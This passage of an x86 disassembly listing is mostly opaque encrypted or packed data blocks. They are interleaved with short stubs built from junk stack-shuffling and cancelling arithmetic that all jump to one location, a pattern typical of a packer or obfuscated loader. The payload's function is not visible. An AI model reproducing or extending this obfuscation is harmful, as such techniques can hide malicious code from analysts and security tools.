		dd 398A12EDh, 815D924Fh, 8EC4A3FBh, 0D6000001h,	66105EF1h
		dd 0FC805D92h, 540C6454h, 4E50921Ah, 517AD31Ah,	0F84EC99Dh
		dd 1A31C2D1h, 89D152AAh, 0D5BFC16Bh, 5645CFA5h,	516661h
		dd 0F1280000h, 9266105Eh, 0C2BAFF53h, 0D5FBFD31h, 0DACB6333h
		dd 1B8BF74Fh, 0F5909271h, 0F07113C2h, 4D8F1D75h, 39B73B18h
		dd 0C28384FAh, 0FE56C631h, 2BC49F44h, 2223CB4Dh, 2515BD49h
		dd 0F5BB65C5h, 586FE1E3h, 1E37D30Dh, 55DBD41h, 41414Bh
		dd 92530000h, 0BABD1150h, 6DDD31C2h, 0F29A20FCh, 0E47BAA02h
		dd 5392F09Ah, 31C2BAFFh, 64EEC8FDh, 3074CCBCh, 9C20FD32h
		dd 0C2BAAD21h, 1D7DED31h, 0E509273h, 0C2BA7BCFh, 0D32B9B31h
		dd 3CC49F19h, 9FB7F592h, 688F3957h, 115FF12Eh, 0FA845E93h
		dd 500A6252h, 0CFA5D5BFh, 66615645h, 41h, 335FF128h, 0EB00E6DAh
		dd 1DC72765h, 0BAFF5392h, 0AF1F31C2h, 9F249205h, 0F5913BC5h
		dd 0EC62A1E3h, 4C31C2BAh, 83C7FA51h, 95237F77h,	0C2E9E056h
		dd 52B22231h, 5D9240FAh, 0C3A2FA82h, 57h, 5FF1D5h, 3F39B27h
		dd 5092F9A3h, 4CE1D04Eh, 5A980162h, 0B351C92Bh,	0D45FB7FEh
		dd 31C2757Eh, 356AE8C8h, 0BF79D15Bh, 421B5092h,	0BAC73BB6h
		dd 970731C2h, 9F43B13Fh, 68DE1DC5h, 0AA31C2BAh,	9230DA3Ah
		dd 0A5FD7F5Dh, 5733687Ah, 0B75FE3C0h, 18F667C7h, 9F843E96h
		dd 8B963EC2h, 31C2BA32h, 2E14F34Ch, 0B4FBA42Ch,	378FEC6Bh
		dd 455D9B6h, 835D921Ah,	4320A1F9h, 320C41BFh, 0B81000A8h
		dd 8D22FF00h, 808129B3h, 5FBF1FA3h, 53DBB6B7h, 48CEAAABh
		dd 0F3965BA0h, 7C1BB4EFh, 0FD248663h, 6D551B9Ah, 0D590E141h
		dd 31C29EA4h, 1FE0E260h, 58CF3DFDh, 13F873CBh, 0C85E55DDh
		dd 0FFFFFE24h, 0F33274B6h, 31C2C39Fh, 7ED44FBFh, 0A031C2C3h
		dd 951ED830h, 31C2BA25h, 0C2BA7446h, 623F7431h,	0CE8A0DEh
		dd 57E9AB08h, 1C1D74FFh, 0A82231C2h, 0D331C21Ch, 31C21C7Bh
		dd 0C21C0A84h, 233032F1h, 485E41BBh, 0C9532D9Eh, 63AD4271h
		dd 0C771A6E5h, 2191F7F1h, 0C926EA3h, 0A3175664h, 0E3F7EDD7h
		dd 3BB1373h, 0F775BF54h, 0C1A0FBB8h, 0C19A1BF1h, 9470D535h
		dd 6A0A83B2h
		dd 2D7D332h, 70B70000h,	744EFF50h, 0DE899EAh, 0AA833485h
		dd 401CCD1Eh, 0C2DB69BAh, 74C54B27h, 1263E5C3h,	0AF008461h
		dd 4798B6FEh, 79CD0C9Ah, 9937F3C7h, 9092C5C3h, 0A1227E02h
		dd 0C0419958h, 0A7DC5A78h, 0D15934CBh, 31D93929h, 8231E941h
		dd 0F025A3EDh, 0F8E89012h, 50D312A0h, 0CC37F443h, 0FE500B5Ch
		dd 5D37F352h, 0C1007EC8h, 31C5C7CEh, 55DBB7ECh,	0A32191FDh
		dd 0B708266Eh, 22A0BE06h, 0E72DA1E0h, 0FD6D3DA1h, 630D45BFh
		dd 8EE69462h, 866BCBD6h, 3BD03DA1h, 0EF3173F1h,	0A1865AB0h
		dd 0B40C7C3Dh, 970CF229h, 8A8C1A3Bh, 27341BE8h,	72C8433Fh
		dd 94235632h, 50D8B324h, 0DA58B8A8h, 0EE3F5DA5h, 2FD7F53Dh
		dd 0D9F31F21h, 0AE7B4E11h, 48922756h, 641C8BCAh, 10802560h
		dd 0FE585A68h, 936A1E6Fh, 92F27E57h, 17BF4521h,	0BA0CF27h
		dd 110443C1h, 4D2F317Bh, 0E22A5FDDh, 7AC273C4h,	5D9CDE5Ch
		dd 2F3470E9h, 0A961B929h, 341E2C9Eh, 0CC16AB2Fh, 0FDD70C4Eh
		dd 83DBCB73h, 2D4ADF8h,	381F129h, 0C169F5CEh, 12C179D1h
		dd 76B5337Dh, 12C6BC35h, 7E80E555h, 70697CB8h, 19BD938h
		dd 347B0000h, 3812C314h, 0D1AC5DAEh, 6E47F849h,	4E091E2h
		dd 0E9F2D7Eh, 38890FEBh, 0D627A987h, 73C44825h,	0B5C7AC2h
		dd 3D91D05Eh, 5D37F3C5h, 5CF18987h, 0CE559412h,	4E37F430h
		dd 0F32836DEh, 1C3A8215h, 0A6248474h, 0F3CC1367h, 6BC33337h
		dd 724CA73Ch, 0F05040E8h, 0C8523372h, 1A8A31DFh, 85AD73B5h
		dd 4639B4Ah, 131h, 59AACA11h, 0F344CEA8h, 8EDF6742h, 277804DDh
		dd 0C3149A76h, 0A581A435h, 3F1DCE1Fh, 0DEBB6CBDh, 1058095Ah
		dd 66F4A1F2h, 0F3C5D327h, 1F1DF337h, 94125CF1h,	0BC401D52h
		dd 41CC2414h, 37F430EAh, 4DD7B132h, 0FC4445EDh,	4E2B60DEh
		dd 531172CAh, 9C2AC251h, 0F34FE95Dh, 7BB92937h,	75CDBC49h
		dd 0E68EACF4h, 6C47A237h, 0BE3387C6h, 0E35337F3h, 70C60583h
		dd 9237F3BEh, 544C222h,	31C52B32h, 89C22E30h, 0D56355E2h
		dd 4483117Dh, 3DA0EFCEh, 0C240A010h, 0D42CB08Dh, 0A380B573h
		dd 6C46C71Fh, 5E091E2h,	0A27B2C7Dh, 0D207C516h,	94156DF9h
		dd 30E132B8h, 0CC7DCE54h, 6A1B6CEEh, 7B8098Dh, 9250A1BFh
		dd 89FA825Dh, 4ACB2341h, 78FCD96Ch, 0D409C718h,	0BDCB73F7h
		dd 0A0EF087Eh, 7ADA4A3Dh, 145EF322h, 7A605796h,	4D823B96h
		dd 2490E874h, 82F09496h, 0EDA9F118h, 51981C72h,	51895C23h
		dd 0BBB4BFAFh, 0E78FEF5Fh, 43C7A4D9h, 46DAB9Bh,	8EA62224h
		dd 83CB4CA4h, 82F37754h, 84741C3Ah, 9471A624h, 20786810h
		dd 3B0BFh, 0F7C20000h, 38589FBDh, 29478F90h, 1FA38081h
		dd 16987677h, 0B916D6Eh, 866263h, 0F27E5758h, 0E66E494Ah
		dd 0D9633D3Eh
		db 31h,	15h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], esi
		push	6609h
		mov	[esp], ebp
		push	ecx
		mov	ecx, 38D787Ch
		shr	ecx, 1
		shr	ecx, 2
		xchg	edx, ecx
		not	edx
		xchg	edx, ecx
		shr	ecx, 7
		not	ecx
		sub	ecx, 0F7CF6D53h
		mov	esi, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		push	edi
		push	esi
		pop	edi
		mov	[ebp+8], edi
		pop	edi
		mov	ebp, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	esi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_5017CA
; ---------------------------------------------------------------------------
		dw 76A4h
		dd 0B81B8331h, 63180E4h, 0C38BC503h, 12E9h, 0B838C600h
		dd 61h,	2 dup(0)
		dd 0E9000000h, 5BCh, 4D9EBE05h,	0E738C29Ch, 82D35B36h
		dd 1B6CF8D1h, 0B7088E6Ah, 99759029h, 3311C213h,	0D2AF60B1h
		dd 44CFD4Eh, 5AE895E6h,	0F33BA71Bh, 1311E737h, 4BFC9092h
		dd 0B7C1D21Ch, 77F555DBh, 0C2B4C238h, 3C940431h, 0F83773BBh
		dd 31C2B482h, 0A31654C4h, 0A443C194h, 313FE747h, 0F49C1EFCh
		dd 4F2BAC04h, 85BA78C9h, 8C7C24A8h, 4D6BB334h, 3E5CA4A5h
		dd 0B538896h, 0D63A90CFh, 0EC5C31C2h, 0D9B3348Ch, 6FB8A74Fh
		dd 516FB7A8h, 0C1004200h, 31C2D64Dh, 0D1AC1D8Dh, 59B1A149h
		dd 2677FBD8h, 93E72668h, 0D131C2D6h, 3BD215Fh, 22A3FFBEh
		dd 0EC5DBD49h, 0B2338B0Fh, 0A8A951D5h, 96A048CAh, 0E8C59A7Dh
		dd 1A621364h, 0B02B9FDEh, 0EA6B31C2h, 0C5258511h, 0FFDA0F1Dh
		dd 0F3CECF77h, 73D3C36Bh, 0B03F901Bh, 561B31C2h, 47BEA4B3h
		dd 76755E56h, 37000000h, 9139579Fh, 0C2BA3286h,	4C4B1031h
		dd 0F1735186h, 52381E99h, 1EF5E56h, 0B1000000h,	20EF9092h
		dd 4E1E102Dh, 0BAF80EFAh, 35A68374h, 0F97AD25Ah, 0C238771Fh
		dd 431C2FDh, 0C3452394h, 0E0BABB63h, 0D4ADAE56h, 0C29FA048h
		dd 0B995963Eh, 0FD60D615h, 32A231C2h, 515C2AD2h, 2BE9E77Eh
		dd 0C7C2DB55h, 9473BC1Bh, 657E1BBh, 0B3351348h,	6392DA5Bh
		dd 4E9FFF89h, 3DC39F64h, 0A528795h, 694344ECh, 0A6277FDFh
		dd 0CF9A42CCh, 0A27E5336h, 0CB0DCB1Ch, 0C2BA368Ch, 77E85831h
		dd 3EBF1799h, 2F30D8F6h, 0D24CC54h, 6C4215F4h, 9F5E564Fh
		dd 1CF5906Ah, 98F8E890h, 2FA3E2F0h, 6F31C2B0h, 1D479FFFh
		dd 64h,	3DC39FDFh, 13B99495h, 0C2BA7ED4h, 0CB3F7E31h, 0B31C2BAh
		dd 6FCF3F9Bh, 888FD8C7h, 0F775FBD7h, 0FFE625F5h, 0A4FC8100h
		dd 72508543h, 5848F0h, 751DA37Fh, 670F9B74h, 3BFCFE50h
		dd 0EC9AE174h, 22E53A92h, 55545D33h, 45F45Eh, 9FB60000h
		dd 94953DC3h, 468B33B7h, 0EDC98681h, 6CB4E967h,	0AB95F64Eh
		dd 933BC59Fh, 9B868385h, 36C143A4h, 3E2ED658h, 82FB86DEh
		dd 8631C233h, 290FC6C1h, 7C5E55C9h, 2F87FB3Ah, 57C731C2h
		dd 1D5FFh, 92970000h, 0A3FB815Dh, 17BF4722h, 8B0CE16h
		dd 2D22E5FEh, 59DBB952h, 0B449A8F9h, 75AAEC6Ah,	7D6D1597h
		dd 0E3299A25h, 17137EEh, 0E1105859h, 0CAD88004h, 0EE93378Bh
		dd 87E75737h, 0DD25D627h, 0B40C17BFh, 8137EE93h, 0BC04DDBCh
		dd 549C4D9Eh, 458D8E36h, 1BB47F27h, 0FD1B637Ch,	291B01ACh
		dd 0D2D2582Ah, 94000001h, 0F8845D92h, 0D9086050h, 477CFA44h
		dd 4939E1FFh, 0BA368CCBh, 0E85831C2h, 0D2C30290h, 0E837EEDDh
		dd 2F03F5E6h, 247C9980h, 88CA48B8h, 0DCB30746h,	63D337EEh
		dd 0EEDC92E8h, 0EC44B437h, 15F12634h, 0BA441E8Fh, 49CA2212h
		dd 0E192E301h, 0C5D37B99h, 0DDCE4483h, 0B3FB37EEh, 0A1FDED95h
		dd 60C04220h, 433F8708h, 0C240EDDAh, 0B860C0B8h, 0AA52DEB7h
		dd 9B4361A9h, 0ABA463ACh, 0AD9D4563h, 9E79124Dh, 0A5B79C1h
		dd 2A4E795Fh, 963058h, 92F20000h, 631C825Dh, 275479DCh
		dd 0E11068C8h, 9214F24Dh, 2175B432h, 61B1C25Dh,	5D3E94D3h
		dd 0F060B1C2h, 91D01290h, 0B1C25D3Dh, 5D86FC3Bh, 58C8B1C2h
		dd 7C348CFCh, 0C25D1D71h, 0C54D28B1h, 0B7431C1Dh, 0AA340E0Fh
		dd 5B07024Bh, 11907710h, 0E8C6557Dh, 5AF2BA60h,	87C56955h
		dd 9D788A6Dh, 6A44B515h, 0C30280E0h, 31C2E86Fh,	0CD512EAFh
		dd 84D53525h, 20B391C6h, 2616BE44h, 0D62E1EC6h,	0C0F7h
		dd 0B4F33500h, 31C2E85Eh, 5FB3F280h, 7F31C2E8h,	9D57AF0Fh
		dd 0DD815D92h, 0C2BA289Eh, 9AFA6A31h, 0B49102F2h, 40988830h
		dd 0B4327C11h, 0EECA8075h, 643FC037h, 0FCFE7CDCh, 355A59C2h
		dd 15CD254Fh, 559DCC14h, 3F9F8F37h, 0D7F53DEEh,	62D81759h
		dd 0A437EE03h, 1924DC34h, 37EE02A2h, 7CDCC91h, 3472F4D2h
		dd 957E375Eh, 0B4358D9Dh, 9EFD4E6Ch, 241BF09h, 31D8500Fh
		dd 3637DF4Fh, 1E28D0EEh, 0A9F0205h, 5FC5BDE2h, 0E9493FCDh
		dd 32552C6Bh, 9793BA9h,	0D20E568Bh, 4C313F93h, 8FEF5F23h
		dd 0AB86F7E7h, 338B7B23h, 93D214D2h, 234C313Fh,	7E00DE5Fh
		dd 886E6D6h, 4C3175C9h,	0CD259523h, 125CF113h, 401D5294h
		dd 0BACD41BCh, 9D0D31C2h, 8178B745h, 0C537F43Bh, 64ACAD55h
		dd 0FC44F546h, 0E62836DEh, 0F33B53A7h, 0C5037337h, 37FA63ACh
		dd 8BE349h, 9F7DEE9Bh, 0B7A86FB8h, 4F00516Fh, 3341E907h
		dd 0EC5CB2F1h, 0E7E5C79h, 0BF5C35B6h, 52FA5AE6h, 77682F48h
		dd 0FC0112Fh, 0E92BA9C7h, 0C62698E7h, 78F3E207h, 5C790C02h
		dd 0C6FE322h, 3FAF5C79h, 631B73E3h, 304h, 0BDF71600h, 9038589Fh
		dd 8129478Fh, 771FA380h, 6E169876h, 630B916Dh, 58008662h
		dd 4AF27E57h, 3EE66E49h, 31D9633Dh, 0E2895215h,	4C281h
		dd 0EA830000h, 24148704h, 5724248Bh, 0C781E789h, 4, 8704EF83h
		dd 895C243Ch
		db 4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	esi
		push	ecx
		mov	ecx, 10B23ADDh
		mov	esi, 6725A482h
		sub	esi, ecx
		pop	ecx
		mov	eax, 5042E83Fh
		xor	eax, esi
		pop	esi
		push	esp
		mov	edx, [esp]
		add	esp, 4
		push	ecx
		push	esi
		push	1D7050C7h
		pop	esi
		add	esi, 0E28FAF41h
		mov	ecx, esi
		pop	esi
		add	ecx, edx
		mov	[ecx], eax
		pop	ecx
		mov	edx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_5017CA
; ---------------------------------------------------------------------------
		db 48h,	0F2h, 0DDh
		dd 7AB50A61h, 3186BBB8h, 0FFC50306h, 0FFD891E0h, 131E5246h
		dd 0DE50A3Ah, 0E4CFD80Eh, 0E060A15Ah, 0BC9CE076h, 0FD1AC373h
		dd 0DAF3516Eh, 74F67A3Fh, 0B0ADCA29h, 82F1A647h, 0A8375C42h
		dd 13A06D2Ah, 0C670106Dh, 42660F6Ah, 603A3C7Dh,	5CFD906Ah
		dd 981EF73Bh, 4D6BD577h, 89C95143h, 45B83419h, 4E441121h
		dd 27B07C48h, 7381545h,	1F461E52h, 0A971A221h, 727DA22Fh
		dd 0DA21FE14h, 2AB9CA17h, 196E978h, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 7F9EAAC3h
		dd 92BBA041h, 0E9AEB283h, 14h, 84BE6DEAh, 0C9A95EA5h, 0C2583E46h
		dd 252A857Fh, 837A10B2h, 88A6B58Dh, 8DF80631h, 2F4E0C85h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 14E919h,	3C0000h, 5688406Eh, 0F60FEAC1h
		dd 0D695ED08h, 7ADA74DBh, 8A60B605h, 82D081DCh,	6116E7EDh
		dd 0DE9D0FFh, 0A6000000h, 9C295AA2h, 77E13E01h,	7DD2949Fh
		dd 0F6B70F60h, 12E9h, 372EA900h, 7DB6035Dh, 9A4179F8h
		dd 0CBAA622Eh, 618CC636h, 0EE9C3h, 0CF4D0000h, 43343BD9h
		dd 0F122C414h, 18607929h, 0FD98C66h, 1F8Ah, 13E96000h
		dd 46000000h, 0C8C87195h, 0DACA6649h, 50C2BBF0h, 0CCACC8B5h
		dd 0E5BF1547h, 6147AA83h, 0F04C1F6h, 6584h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 2015C6C1h, 8E9FDh, 5B870000h, 0EDCEEAE6h, 0FB8B43CBh
		dd 0C032CB8Bh, 2BFD75AEh, 2BD9F7CFh, 49D78BF9h,	0EBD98Bh
		dd 13F20CDh, 0C00B0001h, 708D1874h, 8BFA8B0Ch, 0A75A6CBh
		dd 0B8FA7549h, 1, 8B09EBh, 0B8E4EBh, 0CF000000h, 14E9F9h
		dd 28F60000h, 0FADB8C59h, 0E9E6A80Bh, 0C4C85DDAh, 7ED6FE16h
		dd 8A0FCAC0h, 0Ch, 68B0Fh, 810F0000h, 0
		dd 891C85C7h, 13F0631h,	0CE90001h, 58000000h, 6B3343h
		dd 0
		dd 0E9000000h, 526h, 59AACA11h,	0F344CEA8h, 8EDF6742h
		dd 277804DDh, 0C3149A76h, 0A581A435h, 3F1DCE1Fh, 0DEBB6CBDh
		dd 1058095Ah, 66F4A1F2h, 0F333D327h, 4B1DF337h,	0CB43A16h
		dd 9F0AC41Ch, 86BB3957h, 72C807A9h, 9431C2BAh, 0B46CC424h
		dd 0C9871A6h, 1876364h,	0B1096959h, 7DCE5430h, 0BE6684CCh
		dd 0D27975BDh, 0C9E56C7Dh, 0A1B77B73h, 47A7C2A3h, 643E3FE7h
		dd 0FA4332DAh, 0DCFA421Fh, 69DD1C5Eh, 0A931C230h, 0CF80E139h
		dd 6C1D6EF2h, 62630B8Fh, 0E83D2484h, 7310875Bh,	0F616B13h
		dd 7B51A10Dh, 0C9471FD3h, 0C293348Ah, 8EE65631h, 0A4815E39h
		dd 6785CD02h, 0FE54CFBFh, 2031C293h, 4EFF50B0h,	3540E806h
		dd 31C293C4h, 491CFBC0h, 5E562863h, 901Ah, 579FDC00h, 1CC44E28h
		dd 1924CC2Ch, 31C2BAA7h, 2870A5A3h, 1A72620Ah, 0BE00C2C5h
		dd 0C2BA0B7Fh, 83DB4B31h, 56522208h, 1D95Eh, 9F9B0000h
		dd 7BBD3BC5h, 0C2BAC63Ch, 40980831h, 5B787A88h,	8887E951h
		dd 0C09A1B73h, 17BFDD25h, 146AA927h, 3631C2CBh,	0B3E866C6h
		dd 0B5A54D6Bh, 0CBA4A55Dh, 7B6BE161h, 0F4327AC6h, 4219D2F3h
		dd 32DA3AFCh, 421FFA43h, 5E60DE68h, 46A14083h, 8DEE4609h
		dd 3ABC9ACFh, 8715B1FCh, 0B81017F4h, 80D1EF37h,	5FC39F96h
		dd 95720287h, 0DE6BD311h, 86872F8Fh, 0F74E44ACh, 0E375296Eh
		dd 0ABE9E36Dh, 0B7351441h, 0C24E0278h, 74D44431h, 0A16801CCh
		dd 0D04ED4B0h, 4EFB4F8Eh, 0AB1B31C2h, 0F941F253h, 0BE66F0CAh
		dd 0C5C66ECEh, 0B9BA62EAh, 0DFFD45DEh, 0FCD6D77Fh, 92DBCA72h
		dd 4B64EBF7h, 5BC3994Ch, 8C5A5E55h, 1C000000h, 0BF3DC39Fh
		dd 703596BDh, 0C2B9DD31h, 4F8DFD31h, 0AC1DEAE1h, 3BF34BCFh
		dd 2FD75F3Ah, 0AF89BE40h, 9178CD25h, 704DE4C0h,	0FB4344ECh
		dd 0DA3F7DDDh, 4F3D38B9h, 0D788D939h, 0CCCD75FBh, 0A8BF67F3h
		dd 7DD888Fh, 9E5E55D8h,	56h, 7F5D9260h,	4824A5FDh, 0CA0C1AC2h
		dd 0C2BA378Bh, 0A9E75731h, 5657DE45h, 0E96AC22Bh, 0D50A880Ch
		dd 0D9C971FBh, 8684C981h, 0B54A5784h, 85038417h, 0C2F6F046h
		dd 4AA21231h, 613D12F5h, 9FA08ADBh, 88933BC5h, 31C2BA37h
		dd 9C4B4E13h, 5E5651B6h, 16Dh, 5D922F00h, 45071C82h, 0E8AEFC15h
		dd 0D4AF3088h, 5BA3A44Ch, 0B894953Dh, 0AE898A32h, 0AA37E26h
		dd 0D0E9630Fh, 0B53D18C9h, 26700564h, 9C1869A8h, 0D04037EEh
		dd 0C1DF2728h, 5977BF70h, 34BED9DBh, 946F9660h,	85BEF756h
		dd 11691D91h, 5DFA4E59h, 2A0737EEh, 20FDFEA6h, 5DCB3F7Eh
		dd 9B0B37EEh, 2FC8933Bh, 129E7768h, 651A7A6Ah, 0A0E8F9A0h
		dd 38803182h, 8D679C1Ah, 136B5B03h, 0F4125A5Bh,	21E8814Ch
		dd 0AFECE830h, 98EE2D83h, 0BA37EEF6h, 0C6490C4Ah, 51FC4DADh
		dd 582A506Bh, 0FE22h, 5CF1E400h, 7C559412h, 9C37EEDDh
		dd 3B83842Ch, 0D31BCC1Dh, 0C40C0DB5h, 9EF54988h, 0A51537EEh
		dd 39D29D45h, 1B39815Eh, 2E391FCAh, 36F0582Ah, 0B2000000h
		dd 95135DF1h, 0C2BAC056h, 9FDE20B1h, 0B1C2BA2Bh, 37A3FB6Bh
		dd 0BE141FC7h, 0F1B1C2BAh, 5CF2B158h, 0C3579614h, 2131C2BAh
		dd 328A10ECh, 0F60556C6h, 97h, 125CF108h, 0CA605594h, 3C7E37EEh
		dd 0EEAB89FDh, 159C937h, 0A5A72595h, 0BAA12D83h, 0A25AB258h
		dd 0EA855F94h, 0EDDD8511h, 6CB4358Dh, 44CFD4Eh,	0FB303EE6h
		dd 0EEEF9721h, 0F2E28A14h, 0BF452192h, 44CF2717h, 37EEAAC9h
		dd 3F10F7BCh, 2988D9F7h, 8DCC4A94h, 31D851B0h, 1F835FE0h
		dd 0F7F69FD8h, 63C32303h, 0C938E3E5h, 6A7FF0D6h, 11595A12h
		dd 0EF414BF3h, 7DCBDFEDh, 77BFCC54h, 61C1B159h,	4ED5B409h
		dd 0B2F16FB9h, 3BA947D5h, 0E8A1B705h, 0CEEF52FFh, 0F1331D6Eh
		dd 9294125Ch, 1FD41A38h, 75035B97h, 0F4324936h,	58326737h
		dd 9A0A76CEh, 8BA9F1F2h, 2341893Ah, 7DC3707Bh, 0DE98F4h
		dd 0FCD5D67Eh, 7DBF1352h, 6FDF42F6h, 445D670Fh,	0F53E9D45h
		dd 0C6F53D12h, 8E0443EDh, 0D042F67Dh, 68580060h, 0C4F9B708h
		dd 890A62E8h, 7A7B2341h, 636D15A1h, 83854F4Ah, 31C43A66h
		dd 5CDD353Bh, 8507E514h, 0DB23D425h, 0C50715BDh, 0B22DB590h
		dd 42F6B75Ch, 0D7B60E7Eh, 3, 9FBDF7E9h,	8F903858h, 80812947h
		dd 76771FA3h, 6D6E1698h, 62630B91h, 57580086h, 494AF27Eh
		dd 3D3EE66Eh, 1531D963h, 81E28952h, 4C2h, 4EA8300h, 5C241487h
		dd 83241489h, 0C8904ECh, 60246824h, 1C890000h, 4EC8124h
		dd 89000000h, 8EBE2434h, 89063189h, 8B545EF1h, 0C481241Ch
		dd 4, 89CF8957h, 3C8B087Bh, 4C48124h, 0FF000000h, 835B2434h
		dd 0C8B04C4h, 0E1895124h, 4C181h, 0C1810000h, 4, 5C240C87h
		dd 0FAEE01E9h, 77D216FFh, 78195D6h, 3EB8532Bh, 306318Eh
		dd 0B4E0FFC5h, 0E0565CF8h, 9C48F335h, 2E5BB845h, 4C1020A3h
		dd 9F11EB4Fh, 1340F102h, 4271FAA5h, 6A71EBD0h, 333CB1D5h
		dd 0AB21C804h, 0AD341359h, 8E4E0FF7h, 0D60A71AEh, 8E3CF9F5h
		dd 0C9371575h, 0CD50F1EAh, 80238D39h, 0D808C800h, 17387F61h
		dd 0E32E22D6h, 8B617DFDh, 8D17A689h, 3190438Dh,	55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 12E8D233h, 50000000h, 0E46CD956h, 7C5C87CEh,	958040B6h
		dd 508F5D0Bh, 0C1B58B58h, 5A062C0Ah, 2BA58D89h,	0EE9062Ch
		dd 0
		dd 6785FA15h, 0FC9744C9h, 0BD70EE92h, 0D985C77Bh, 28062C12h
		dd 6A00005Dh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 14042444h, 42000000h, 0E9A8C352h, 0Dh, 336552BAh, 910B89ACh
		dd 1C1A4C3Bh, 0C185C7F9h, 62C29h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 8DEBC351h, 4B82BD01h, 11E96079h, 0CA000000h,	0F8F4C088h
		dd 8DFD4B66h, 5C34F6D3h, 0A55B9C1Bh, 41B58Bh, 0E961062Ch
		dd 5, 0B5CE22BBh, 0DEBF0FE6h, 8E1B5FFh,	858B062Ch, 62C1CF9h
		dd 15F595FFh, 6A062Ch, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 180424h, 53430000h, 6FBFDDC3h, 6E801DEh, 0C7000000h
		dd 0E7DF514Eh, 6A5870h,	26B195FFh, 0C08B062Ch, 67D67AEBh
		dd 2BE5A300h, 0F55973F9h, 20E41E7Fh, 0A0122F32h, 1EBBDC62h
		dd 0E29B3C48h, 20A224h,	0C35C7C62h, 8322AEEDh, 43C16182h
		dd 0CB6C6613h, 0EB857680h, 0B29D4C14h, 0DEAD7B38h, 33337277h
		dd 0EF773182h, 0B5D9C197h, 0CF5F8797h, 5E5B1FDBh, 0CF122C87h
		dd 0F4731E74h, 2770186Dh, 467F6D25h, 5F59ED84h,	0E15D5DA1h
		dd 6EAFE7D4h, 458B06B5h, 0D8D781C5h, 78EE2AE4h,	0C734EF1Eh
		dd 1CA81150h, 288CBD28h, 0F1CE619Fh, 5DA73B2h, 79A6378Bh
		dd 0FF77721Ch, 823487A5h, 304A8749h, 0D2DAF36Ch, 1EDE07AEh
		dd 39D68A6Dh, 3F76315Bh, 30777B3Eh, 62775DDDh, 30773406h
		dd 0F32D1777h, 1423BEE1h, 1433B6D9h, 307721EAh,	0F3257577h
		dd 0D9F249AEh, 307737D5h, 19162D05h, 0D598C23Eh, 30745552h
		dd 0D6F651DDh, 0D917762Bh, 30773772h, 4936C17Dh, 3071DE55h
		dd 73A937EEh, 96A098F1h, 0C1CAB4DAh, 30711BF1h,	303FB3E1h
		dd 0B9783777h, 307737BFh, 9E0B8DBBh, 30741D07h,	66775D77h
		dd 30773453h, 0F32917DDh, 1403BEB0h, 1433B673h,	30772CBFh
		dd 0F32171DDh, 57A8E6E2h, 21D26E34h, 0F662D83Ah, 0B6782E0Dh
		dd 307737E4h, 3073B978h, 8A1137BBh, 0B5FAA292h,	3646A70Ch
		dd 30773D9Eh, 0B0A18FBBh, 4D84B096h, 60B2797Dh,	3077249Eh
		dd 415573BBh, 6E388DA2h, 0BC84BFBDh, 62CDAFA2h,	0B9DB04DEh
		dd 66533354h, 0F4F2BAB7h, 507106E7h, 0C6F7C030h, 85E7560Fh
		dd 0FAFC67DEh, 0A32D8EE7h, 0A5886A3Ah, 365B2288h, 30773E06h
		dd 56DD2877h, 7E1A8D6Eh, 0BB2EE162h, 307EDE2Eh,	0E39B3777h
		dd 590E277Ch, 0B397E574h, 1C6A5253h, 39023771h,	13AE8A38h
		dd 447731F1h, 0BB2467F7h, 340D8FB7h, 0B5FE37BBh, 365B314Ch
		dd 811BAA63h, 0E3883159h, 8DF46FE0h, 365B1404h,	606043EEh
		dd 340D8F24h, 0B5FE37BBh, 365B314Ch, 9E2CAA63h,	0E3883159h
		dd 8A116FE0h, 301DB733h, 3074DFBFh, 69573777h, 7CFE6E78h
		dd 74F633F9h, 306E33CAh, 61363777h, 0BDA23C78h,	0BB0FBE66h
		dd 61775D2Eh, 3077349Fh, 0F32E17BBh, 143BBE84h,	1433B6EAh
		dd 30772C73h, 0F32676BBh, 7A7CDBC1h, 74CDC551h,	3071B478h
		dd 0B47837BBh, 307737DDh, 0F6298D8Eh, 0BD167521h, 1E7FB26h
		dd 359ECFDBh, 207737EEh, 0F47F30AFh, 0B861B236h, 891131ECh
		dd 0E0881462h, 0D826371Dh, 307737B8h, 69B46EFDh, 34537B67h
		dd 345373F6h, 307737AEh, 15B4669Ch, 0F07CCFE7h,	303BB378h
		dd 0B18B37BBh, 0DB3D862Fh, 61EABAC5h, 5A711B38h, 339F60BBh
		dd 107737DDh, 0B928F4B1h, 0B173130Bh, 2B7313FFh, 777737DDh
		dd 974EF4B9h, 1D2976A2h, 0C8FCD96Ah, 33CFDD57h,	3F7737EEh
		dd 307731FBh, 19A5B6BBh, 0CF5C1B26h, 0DEF6510Dh, 0ADFAA930h
		dd 3646A76Fh, 0D82037B7h, 307737EDh, 6FB46857h,	34534B32h
		dd 3453735Ch, 307737F3h, 70B46030h, 9D1CEDDCh, 8939C893h
		dd 0FBC55709h, 0F2F65117h, 0B5787CACh, 307737DDh, 0B5FA568Fh
